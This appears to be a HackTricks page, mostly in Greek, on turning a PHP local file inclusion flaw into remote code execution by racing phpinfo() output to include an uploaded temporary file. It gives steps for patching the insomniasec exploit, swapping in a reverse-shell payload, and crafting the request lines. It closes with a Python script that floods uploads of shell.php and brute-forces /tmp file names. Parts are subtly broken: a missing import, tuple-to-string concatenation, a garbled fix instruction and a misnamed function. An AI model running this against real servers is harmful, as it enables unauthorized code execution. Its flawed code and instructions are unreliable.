6.8 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε: Μια ευπάθεια LFI, μια σελίδα όπου εμφανίζεται το phpinfo(), "file_uploads = on" και ο διακομιστής πρέπει να μπορεί να γράψει στον φάκελο "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Πρέπει να διορθώσετε την εκμετάλλευση (αλλάξτε => σε =>). Για να το κάνετε αυτό μπορείτε να κάνετε:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
You have to change also the payload at the beginning of the exploit (for a php-rev-shell for example), the REQ1 (this should point to the phpinfo page and should have the padding included, i.e.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), and LFIREQ (this should point to the LFI vulnerability, i.e.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Check the double "%" when exploiting null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Theory
Αν οι αναφορές επιτρέπονται σε PHP και προσπαθήσετε να ανεβάσετε ένα αρχείο, αυτό το αρχείο αποθηκεύεται σε έναν προσωρινό φάκελο μέχρι να ολοκληρωθεί η επεξεργασία του αιτήματος από τον διακομιστή, στη συνέχεια αυτό το προσωρινό αρχείο διαγράφεται.
Στη συνέχεια, αν έχετε βρει μια ευπάθεια LFI στον διακομιστή ιστού μπορείτε να προσπαθήσετε να μαντέψετε το όνομα του προσωρινού αρχείου που δημιουργήθηκε και να εκμεταλλευτείτε μια RCE αποκτώντας πρόσβαση στο προσωρινό αρχείο πριν διαγραφεί.
Στα Windows τα αρχεία αποθηκεύονται συνήθως στο C:\Windows\temp\php
Στο linux το όνομα του αρχείου συνήθως είναι τυχαίο και βρίσκεται στο /tmp. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να εξάγετε από κάπου το όνομα του προσωρινού αρχείου και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της μεταβλητής $_FILES μέσα στο περιεχόμενο της συνάρτησης "phpconfig()".
phpinfo()
PHP χρησιμοποιεί ένα buffer 4096B και όταν είναι γεμάτο, αποστέλλεται στον πελάτη. Στη συνέχεια, ο πελάτης μπορεί να στείλει πολλές μεγάλες αιτήσεις (χρησιμοποιώντας μεγάλες κεφαλίδες) ανεβάζοντας ένα php reverse shell, περιμένοντας να επιστραφεί το πρώτο μέρος του phpinfo() (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να αποκτήσει πρόσβαση στο προσωρινό αρχείο πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
Python script to try to bruteforce the name (if length = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.